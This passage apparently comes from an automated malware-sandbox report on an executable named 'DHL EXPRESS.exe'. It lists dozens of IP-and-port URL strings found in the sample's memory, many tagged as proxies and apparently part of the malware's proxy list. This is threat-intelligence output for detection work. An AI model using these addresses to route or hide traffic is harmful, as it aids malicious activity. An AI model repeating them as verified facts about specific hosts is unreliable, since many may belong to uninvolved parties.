Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://132.148.16.169:55610://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://132.148.167.231
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://132.148.167.231:46983
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://132.148.167.231:46983://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD78E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://132.148.167.243:28040
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://132.148.167.243:28040://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://132.148.167.243:48298
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://132.148.167.243:48298://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://132.148.245.169:38117
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://132.148.245.169:38117://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB25A000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://132.148.245.247:7183
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB25A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://132.148.245.247:7183://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://132.255.50.126:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://132.255.50.126:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://133.18.234.13
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB2FD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://133.18.234.13://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB2FA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://133.18.234.13:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://133.232.90.155
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://133.232.90.155://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://133.232.90.155:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://133.232.90.96
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://133.232.90.96://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://133.232.90.96:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://134.122.22.233:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://134.209.105
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://134.209.105.209:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://134.209.105.209:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://134.209.29.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://134.209.29.120:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://134.209.29.120:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://134.35.179.81:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://134.35.179.81:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://135.148.10.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://135.148.10.161:31696
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://135.148.10.161:31696://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://135.148.10.161:3970
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://135.148.10.161:3970://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://135.148.10.161:41146
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://135.148.10.161:41146://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://135.148.10.161:51507
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://135.148.10.161:51507://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://135.181.102
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://135.181.102.118:7117
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://135.181.102.118:7117://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://136.244.89.35:10487
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC394000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://136.244.89.35:10487://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://136.244.99.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://136.244.99.51:8888
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://136.244.99.51:8888://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://136.54.39.34:8118
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://136.54.39.34:8118://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://137.184.100.135
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://137.184.100.135://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://137.184.100.135:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://137.184.200.42:8000
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://137.184.200.42:8000://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://137.184.42.134:12544
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://137.184.42.134:12544://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://137.220.61.187:10024
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://137.220.61.187:10024://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://137.59.161.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://137.59.161.177:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://137.59.161.177:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://137.59.48.20:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://137.59.48.20:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://137.59.50.4
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://137.59.50.41:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://137.59.50.41:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB219000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://138.0.143.128:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB219000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://138.0.143.128:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://138.118.200.49:999://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC4E9000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC454000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://138.121.15.229:999
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC454000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://138.121.15.229:999://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://138.201.21.232:49775
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://138.201.21.232:49775://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://138.36.150.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA925000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://138.36.150.16:1080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA925000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://138.36.150.16:1080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://138.36.150.26:1080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://138.68.235.51
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://138.68.235.51://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://138.68.235.51:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://138.68.24.1
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://138.68.24.185:55010
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://138.68.24.185:55010://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://138.68.24.185:59307
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://138.68.24.185:59307://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://138.68.60.8:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB25A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://138.68.60.8:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://138.84.40.1
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://138.84.40.117:999
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://138.84.40.117:999://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://138.94.76.86:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://138.94.76.86:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://138.97.14.247:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://139.0.6.11:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://139.0.6.11:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADE4E000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADEA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://139.162.181.177:57942
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADE7F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://139.162.181.177:57942://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA9FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://139.162.182.54:11127
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://139.162.238.184
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://139.162.238.184:21017
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://139.162.238.184:21017://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://139.162.238.184:39652
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://139.162.238.184:39652://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://139.162.60.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://139.162.60.36:45701
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://139.162.60.36:457016
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://139.162.60.36:45701://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://139.196.186.157
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://139.196.186.157:24001
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://139.196.186.157:24001://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://139.224.117.52:2222
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://139.224.117.52:2222://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://139.224.64.191:8081
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://139.224.64.191:8081://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://139.255.132.68:1080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://139.255.132.68:1080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://139.255.45.67:5678
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://139.255.45.67:5678://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://139.255.86.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://139.255.86.226:5678
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://139.255.86.226:5678://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://139.5.73.71:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://139.5.73.71:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://139.59.99.83:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://139.99.148.90:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://139.99.148.90:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://139.99.244.154
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://139.99.244.154://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://139.99.244.154:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA856000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://14.103.24.148:8000
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA856000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://14.103.24.148:8000://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://14.103.24.20:8000
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://14.103.24.20:8000://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://14.103.26.5
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://14.103.26.53:8000
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://14.103.26.53:8000://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://14.142.36.210
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://14.142.36.210://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://14.142.36.210:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://14.143.130.210
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://14.143.130.210://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://14.143.130.210:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://14.143.172.238:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://14.143.172.238:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://14.161.17.4:4153
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://14.161.17.4:4153://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://14.207.121.162:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://14.207.167.114:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://14.207.167.114:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://14.207.206.27:5678
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://14.207.206.27:5678://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB02000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://14.207.41.71:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB02000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://14.207.41.71:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://14.225.254.128:5555
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://14.225.254.128:5555://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://14.232.235.13:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://14.232.235.13:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://14.47.70.137:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://14.47.70.137:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAA78000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB3E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://140.227.204.70:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB3E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://140.227.204.70:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://140.250.150.56:1080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://140.250.150.56:1080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://140.82.35.234:44444
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://140.82.35.234:44444://proxy
